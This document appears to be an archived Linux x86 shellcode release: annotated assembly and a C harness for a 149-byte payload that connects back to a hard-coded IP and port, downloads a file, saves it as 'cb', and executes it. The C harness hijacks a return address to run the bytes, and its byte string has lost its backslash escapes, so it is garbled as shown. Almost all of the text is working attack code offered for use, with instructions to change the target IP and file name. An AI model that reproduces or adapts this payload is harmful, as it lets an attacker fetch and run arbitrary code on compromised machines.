/*
;file download shellcode (149 bytes)
;
;connect back, download a file and execute.  
;modify the name of the file and the ip address first.
;
;militan
;Advanced Defense Lab(ADL)
;



global _start

_start:

xor ecx,ecx
mul ecx
xor ebx,ebx
cdq

;socket
push eax
push byte 0x1
push byte 0x2
mov ecx,esp
inc ebx
mov al,0x66
int 0x80
mov edi,eax             ;edi=sockfd


;connect,port(9999)=270f ip(140.115.53.35)=(8c.73.35.23)  
push edx
push long 0x2335738c     ;address *
push word 0x0f27        ;port    * 
mov dl,0x02
push dx                 ;family  1
mov ecx,esp              ;adjust struct
push byte 0x10
push ecx   
push edi                ;sockfd
mov ecx,esp             
mov bl,3                
mov al,102
int 0x80

;sys_open(cb,O_WRONLY|O_CREATE|O_TRUNC[0001.0100.1000=1101],700)
xor ebx,ebx
xor ecx,ecx
push ecx
push word 0x6263        ;file name="cb" 
mov ebx,esp
mov cx,0x242            
mov dx,0x1c0            ;Octal
mov al,5
int 0x80
mov esi,eax             ;esi=fd


;
xor ecx,ecx
mul ecx
cdq
mov dx,0x03e8         ;memory chunk=1000=0x03e8: read per time       
    
L1:                         
;sys_read(socket sockfd,buf,len)            
xor ebx,ebx
xor eax,eax
mov al,3
mov ebx,edi            ;edi=sock fd
lea ecx,[esp-1000]      ;memory chunk
int 0x80
;sys_write(fd,*buf,count)
mov ebx,esi               
mov edx,eax              
xor eax,eax
mov al,4
int 0x80
cmp dx,0x03e8          
je L1                  ;loop


CONTINUE:
;sys_close(fd)
mov ebx,esi             
xor eax,eax
mov al,6
int 0x80

;execve[./cb,0]      
xor ecx,ecx
mul ecx
push ecx
push word 0x6263       ;file name="cb" 
mov ebx,esp
push ecx
push ebx                  
mov ecx,esp              
mov al,0x0b
int 0x80


EXIT:
xor eax,eax
xor ebx,ebx 
inc eax
int 0x80
*/

#include<stdio.h>
#include<string.h>
#include<stdlib.h>


unsigned char shellcode[]="x31xc9xf7xe1x31xdbx99x50x6ax01x6ax02x89xe1x43xb0x66xcdx80"
"x89xc7x52x68x8cx73x35x23x66x68x27x0fxb2x02x66x52x89xe1x6ax10x51x57x89xe1xb3x03xb0x66xcdx80"
"x31xdbx31xc9x51x66x68x63x62x89xe3x66xb9x42x02x66xbaxc0x01xb0x05xcdx80"

"x89xc6x31xc9xf7xe1x99x66xbaxe8x03x31xdbx31xc0xb0x03x89xfbx8dx8cx24x18xfcxffxffxcdx80x89xf3x89xc2x31xc0xb0x04xcdx80"
"x66x81xfaxe8x03x74xdex89xf3x31xc0xb0x06xcdx80x31xc9xf7xe1x51x66x68x63x62x89xe3x51x53x89xe1xb0x0bxcdx80"
"x31xc0x31xdbx40xcdx80";

void k(){
 int *ret;
 ret=(int *)&ret+2;
 (*ret)=(int)shellcode;
}

int main (){
  k();
  return 0;
}

// www.Syue.com [2008-08-25]